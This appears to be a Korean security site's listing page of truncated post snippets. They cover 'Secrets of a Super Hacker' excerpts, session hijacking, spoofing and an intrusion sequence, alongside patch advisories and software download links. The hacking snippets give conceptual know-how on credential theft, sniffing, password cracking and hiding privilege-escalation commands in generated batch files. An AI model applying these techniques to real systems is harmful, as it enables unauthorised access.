[해킹정보]  수퍼해커의 해킹비밀 8 사용자들에게 배포된다. 예를 들어 한 사무실의 비서들은 한 계정을 공 유하는 경우가 있다. 대화명(handle) 가명, 별명, 흔히 BBS 상에서 쓰인다. 대화모드(talk mode) 다른 사용자와의 온라인 대화로 들어간 상태. 당신이 입력하는 내용은 당신의 화면에 나올 뿐만 아니라 상대방의 화면에도 출력 된다. 상대방도 마찬가지이다. 당신이 유닉스 시스템을 사용하고 있고 smuggy라는 사용자가 현재 접속하고 있다는 사실을 안다면, 'talk smuggy'라고 입력하면 smuggy가 ...
[해킹정보]  수퍼해커의 해킹비밀 6 exit 이것은 진짜 명령어는 아니다. 단지 시솝의 주의를 끌 만한, 사용 권한을 높이려는 뻔뻔스러운 시도를 보여주고자 함이다. 이러한 문제점을 제거하 기 위한 방안은 당신의 주 프로그램으로 하여금 필요한 다른 프로그램이나 배치 파일을 생성해 내도록 만드는 것이다. 배치 파일은 실행 프로그램 속 의 암호화된 쓸데없는 메시지로부터 시작될 수도 있다. 서브루틴이 호출되 면 텍스트 파일을 열고 명령어들을 해독해서 하나의 파일을 그 명령어들을 이용하여 만들고 원래의 임무로 복귀시키는 것이다. 이 파일을 생성하는 ...
[해킹정보]  수퍼 해커의 해킹 비밀 수퍼 해커의 해킹 비밀지은이: 나이트메어(Knightmare)출판사: 연암출판사봉사자: 삼육대학교 고나현"수퍼 해커의 해킹 비밀은 매력적인 설명서이다. 제아무리 견고한 컴퓨터 시스템일지라도 손쉽게 침투해 들어갈 수 있음을 생생하게 폭로한다." -더 샌프란시스코 크로니쿨(The San francisco Chronicie)"책의 표지 선전과 걸맞는 내용을 가진 책은 흔치 않다. 하지만 여기 이 책은 가장 걸맞는 책이라 할 것이다. 나이트메어(Knightmare)가 쓴 수퍼 해커의 해킹 비밀은 '모든 보안 관리자의 끔직한 악몽(ni...
[해킹정보]  기본적인 해킹 기술 해커에게는 마음가짐이 중요하지만 기술은 더욱 중요하다. 마음가짐과 태도가 능력을 대신할 수 있는 것은 아니다. 해커라고 불리기 위해서는 다음과 같은 기본적인 기술들을 갖고 있어야 한다. 그러나 이러한 종류의 기술들은 새로운 기술이 개발되고 기존의 기술이 낡고 쓸모없는 것이 되어감에 따라서 천천히 바뀌어 간다. 예를 들면, 기계어를 이용한 프로그래밍이 예전에 필요한 기본적인 해킹 기술이었고 HTML은 최근에야 포함된 것이다. 그러나 현 시점에서는 다음과 같은 것들이 필요하다. 1. 프로그래밍을 학습하라. 프로그램을 ...
[해킹정보]  HTTP Session Hijacking 앞서 해킹기법에서 스니핑(sniffing)에 대해서 살펴보았다. telnet, ftp, pop3 등의 비암호화 프로토콜 어플리케이션은 스니핑 공격을 통하여 사용자 계정 및 암호 도용에 취약할 수 있음을 알게 되었다. 마찬가지로 우리가 웹 브라우징시 사용하는 HTTP 프로토콜도 이러한 도용에 취약할 수 있다. HTTP Session Hijacking(혹은 Session ID Hijacking)이라는 공격 기법은 웹 브라우징시 세션 관리를 위해 사용되는 Session ID를 스니핑이나 무작위 추측 공격(brute-force g...
[해킹정보]  스프핑 공격(spoofing attack) 우리는 스파이 첩보 영화에서 주인공이 자신을 노출시키지 않기 위해 남의 신분으로 위장하는 경우를 자주 볼 수 있다. 이때 주로 사용하는 방법이 주민등록증, 운전면허증 등의 신분증을 위조하거나 신체적인 특징인 얼굴, 지문, 목소리 등을 변조하는 것이다. 이 모든 것들이 특정 사람을 인식하는 방법을 우회 통과하기 위한 방법이다. 마찬가지로 네트워크 상에서도 악의적인 혹은 비밀스러운 활동을 시도하려는 사람들은 먼저 자기 자신을 감추는 방법을 생각하게 된다. 다만 네트워크 상에서 해당 사용자(혹은 해당 호스트)를 식별하는 정보는 ...
[해킹정보]  해커들의 해커순서 공격 목표 시스템 정보 수집 - 자동화된 대규모 네트워크 스캔 도구를 이용한 정보 수집 - 네트워크 구조, 운영체계 버전, 취약점 정보 등 수집 불법적인 컴퓨터 접근 - ID와 패스워드를 알아내 ID를 도용 로그인 - 웹서버 등 네트워크 서버의 취약점을 이용하여 접근함 - crack을 이용하여 패스워드를 알아내 접근함 - 스니퍼 등을 이용하여 찾아낸 ID 및 패스워드로 접근함 - 네트워크의 취약점을 이용하여 root 계정으로 로그인 ROO...
[예방자료]  Adobe Flash Player 및 Adobe Acrobat/Reader 신규 취약점 주의 (수정) 악의적인 Flash 파일 (확장자:SWF)을 재생하는 Adobe Flash Player 및 Adobe Acrobat/Reader에 원격 코드 실행 취약점이 발견 되었습니다[1,2]. 현재 해당 취약점을 통해 공격하는 사례가 발견되고 있으므로 사용자는 신뢰할 수 없는 사이트의 방문을 자제하고 출처가 불분명한 PDF 파일의 열람을 자제 부탁 드립니다.   [설 명]  o Adobe社는 본 취약점에 대해 보안 권고문(Security Advisory)을 발표함[3]    ※ 관련 CVE : CVE-...
[예방자료]  [MS 긴급 보안업데이트] Internet Explorer 관련패치 등 2개 Internet Explorer(MS09-034) 및 MS Visual Studio Active Template Library(MS09-035)취약점에 대한 MS 긴급보안업데이트가 발표되었으니, 조속히 패치하시기 바랍니다.   [MS09-034] Internet Explorer 누적 보안 업데이트   □ 영향   o 공격자가 영향 받는 시스템에 대해 완전한 권한 획득   □ 설명    o IE가 메모리 오브젝트 또는 테이블을 처리하거나 제거된 객체를 접근하는 방식의 문제점...
[일반자료실]  무료/무설치 레지스트리 청소기 RegSeeker 1.45 예전에만해도 레지스트리를 청소하는 프로그램으로 Regcleaner나 Jv16Tools 등이 유명했다.그러나 요즘은 이것들도 시류에 편승(?)하여 스파이웨어, 애드웨어를 심어놓거나, 혹은 유료화의 길로 접어들고 말았다.진정한 무료이면서 괜찮고, 사용자의 인식도 우호적인 툴을 찾다보니 발견한 것이 이 RegSeeker이다. 대략 2년정도 사용해 오고 있는데 큰 문제도 일으키지도 않고, 무엇보다 설치가 필요없다는 장점이 있다. 심지어 시스템 루트디렉토리에 INI파일조차 심어놓지 않는다. 설치된 프로그램 관리, 시작프로그램 ...
[일반자료실]  알송 v1.51 ### 알송 v1.51 ### - 수정 사항 일부 PC에서 MSVCP60.dll 파일을 찾을 수 없어 설치가 완료되지 않는 문제 수정 ### 알송 v1.5 ### - 추가 사항 및 수정 사항 온라인 음악 서비스 추가 - Maxmp3의 다양한 음악 채널 제공 - 뮤직 비디오 재생 기능 추가 - 곡 별 음악 정보 제공 - 최신 앨범 목록 제공 - 가수, 곡별 검색 기능 제공 - 재생기록 제공 사용 중 불편하신 점이나 제품 개선에 관한 아이디어가 있으시면 언제든 알툴즈 홈페이지에 오셔서 글을 남겨 주시기 바랍...
[링크자료실]  Google 크롬 다운로드 - 링크 링크를 클릭하시면 다운로드 페이지로 이동합니다.
[링크자료실]  Windows XP 용 Windows Internet Explorer 7 - 링크 다운로드해 주셔서 감사합니다. Windows XP 용 Windows Internet Explorer 7 다운로드 지침 파일 다운로드 대화 상자에서 다음 중 하나를 수행하십시오. 설치를 즉시 시작하려면 열기 또는 현재 위치에서 이 프로그램을 실행을 클릭하십시오. 다운로드를 컴퓨터에 복사했다가 나중에 설치하려면 저장 또는 이 프로그램을 디스크에 저장을 클릭하십시오. 자세한 설치 지침을 포함하여 선택한 다운로드에 대한 자세한 내용을 보려면 다음 페이지로 돌아가십시오:다운로드 정보 페이지. 30초 동안 다운로드가 시작되지 않으...
[링크자료실]  Windows XP용 Windows Internet Explorer 8 - 링크 다운로드해 주셔서 감사합니다. Windows XP용 Windows Internet Explorer 8 다운로드 지침 파일 다운로드 대화 상자에서 다음 중 하나를 수행하십시오. 설치를 즉시 시작하려면 열기 또는 현재 위치에서 이 프로그램을 실행을 클릭하십시오. 다운로드를 컴퓨터에 복사했다가 나중에 설치하려면 저장 또는 이 프로그램을 디스크에 저장을 클릭하십시오. 자세한 설치 지침을 포함하여 선택한 다운로드에 대한 자세한 내용을 보려면 다음 페이지로 돌아가십시오:다운로드 정보 페이지. 30초 동안 다운로드가 시작되지 않으면...